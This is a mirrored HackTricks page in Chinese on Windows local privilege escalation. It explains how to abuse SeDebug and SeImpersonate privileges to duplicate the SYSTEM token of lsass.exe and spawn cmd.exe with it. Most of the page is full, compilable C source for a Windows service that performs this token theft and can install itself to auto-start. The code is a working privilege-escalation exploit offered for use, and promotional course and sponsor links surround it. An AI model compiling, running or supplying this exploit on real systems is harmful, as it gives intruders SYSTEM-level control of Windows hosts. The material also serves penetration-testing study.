mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
238 lines
8 KiB
Markdown
238 lines
8 KiB
Markdown
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||
|
||
其他支持HackTricks的方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR**来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
|
||
以下代码**利用SeDebug和SeImpersonate权限**从一个以**SYSTEM身份运行的进程**中**复制令牌**，并具有**所有令牌权限**。\
|
||
在这种情况下，此代码可以编译并用作**Windows服务二进制文件**以检查其是否正常工作。\
|
||
然而，**升级发生的主要部分**在**`Exploit`** **函数内**。\
|
||
在该函数内，您可以看到搜索到**进程 **_**lsass.exe**_**，然后**复制其令牌**，最后使用该令牌生成一个具有复制令牌所有权限的新 _**cmd.exe**_。
|
||
|
||
以SYSTEM身份运行的**其他进程**，具有所有或大部分令牌权限的包括：**services.exe**，**svhost.exe**（其中之一），**wininit.exe**，**csrss.exe**...（_请记住您无法从受保护进程中复制令牌_）。此外，您可以使用以管理员身份运行的工具[Process Hacker](https://processhacker.sourceforge.io/downloads.php)来查看进程的令牌。
|
||
```c
|
||
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
|
||
#include <windows.h>
|
||
#include <tlhelp32.h>
|
||
#include <tchar.h>
|
||
#pragma comment (lib, "advapi32")
|
||
|
||
TCHAR* serviceName = TEXT("TokenDanceSrv");
|
||
SERVICE_STATUS serviceStatus;
|
||
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
||
HANDLE stopServiceEvent = 0;
|
||
|
||
//This function will find the pid of a process by name
|
||
int FindTarget(const char *procname) {
|
||
|
||
HANDLE hProcSnap;
|
||
PROCESSENTRY32 pe32;
|
||
int pid = 0;
|
||
|
||
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
|
||
if (!Process32First(hProcSnap, &pe32)) {
|
||
CloseHandle(hProcSnap);
|
||
return 0;
|
||
}
|
||
|
||
while (Process32Next(hProcSnap, &pe32)) {
|
||
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
||
pid = pe32.th32ProcessID;
|
||
break;
|
||
}
|
||
}
|
||
|
||
CloseHandle(hProcSnap);
|
||
|
||
return pid;
|
||
}
|
||
|
||
|
||
int Exploit(void) {
|
||
|
||
HANDLE hSystemToken, hSystemProcess;
|
||
HANDLE dupSystemToken = NULL;
|
||
HANDLE hProcess, hThread;
|
||
STARTUPINFOA si;
|
||
PROCESS_INFORMATION pi;
|
||
int pid = 0;
|
||
|
||
|
||
ZeroMemory(&si, sizeof(si));
|
||
si.cb = sizeof(si);
|
||
ZeroMemory(&pi, sizeof(pi));
|
||
|
||
// open high privileged process
|
||
if ( pid = FindTarget("lsass.exe") )
|
||
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
||
else
|
||
return -1;
|
||
|
||
// extract high privileged token
|
||
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
|
||
CloseHandle(hSystemProcess);
|
||
return -1;
|
||
}
|
||
|
||
// make a copy of a token
|
||
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
|
||
|
||
// and spawn a new process with higher privs
|
||
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
|
||
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
||
|
||
return 0;
|
||
}
|
||
|
||
|
||
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
||
switch ( controlCode ) {
|
||
case SERVICE_CONTROL_SHUTDOWN:
|
||
case SERVICE_CONTROL_STOP:
|
||
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
SetEvent( stopServiceEvent );
|
||
return;
|
||
|
||
case SERVICE_CONTROL_PAUSE:
|
||
break;
|
||
|
||
case SERVICE_CONTROL_CONTINUE:
|
||
break;
|
||
|
||
case SERVICE_CONTROL_INTERROGATE:
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
}
|
||
|
||
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
||
// initialise service status
|
||
serviceStatus.dwServiceType = SERVICE_WIN32;
|
||
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
||
serviceStatus.dwControlsAccepted = 0;
|
||
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
||
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
||
serviceStatus.dwCheckPoint = 0;
|
||
serviceStatus.dwWaitHint = 0;
|
||
|
||
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
||
|
||
if ( serviceStatusHandle ) {
|
||
// service is starting
|
||
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
// do initialisation here
|
||
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
||
|
||
// running
|
||
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
||
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
Exploit();
|
||
WaitForSingleObject( stopServiceEvent, -1 );
|
||
|
||
// service was stopped
|
||
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
||
// do cleanup here
|
||
CloseHandle( stopServiceEvent );
|
||
stopServiceEvent = 0;
|
||
|
||
// service is now stopped
|
||
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
||
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
||
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
}
|
||
}
|
||
|
||
|
||
void InstallService() {
|
||
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
||
|
||
if ( serviceControlManager ) {
|
||
TCHAR path[ _MAX_PATH + 1 ];
|
||
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
||
SC_HANDLE service = CreateService( serviceControlManager,
|
||
serviceName, serviceName,
|
||
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
||
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
||
0, 0, 0, 0, 0 );
|
||
if ( service )
|
||
CloseServiceHandle( service );
|
||
}
|
||
CloseServiceHandle( serviceControlManager );
|
||
}
|
||
}
|
||
|
||
void UninstallService() {
|
||
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
||
|
||
if ( serviceControlManager ) {
|
||
SC_HANDLE service = OpenService( serviceControlManager,
|
||
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
||
if ( service ) {
|
||
SERVICE_STATUS serviceStatus;
|
||
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
||
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
||
DeleteService( service );
|
||
}
|
||
CloseServiceHandle( service );
|
||
}
|
||
CloseServiceHandle( serviceControlManager );
|
||
}
|
||
}
|
||
|
||
int _tmain( int argc, TCHAR* argv[] )
|
||
{
|
||
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
||
InstallService();
|
||
}
|
||
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
||
UninstallService();
|
||
}
|
||
else {
|
||
SERVICE_TABLE_ENTRY serviceTable[] = {
|
||
{ serviceName, ServiceMain },
|
||
{ 0, 0 }
|
||
};
|
||
|
||
StartServiceCtrlDispatcher( serviceTable );
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||
|
||
其他支持HackTricks的方式：
|
||
|
||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索我们的独家[**NFTs**]收藏品，[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|